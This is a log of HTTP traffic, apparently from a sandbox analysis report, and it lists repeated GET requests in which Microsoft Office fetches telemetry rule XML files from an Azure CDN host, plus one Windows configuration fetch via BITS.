Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
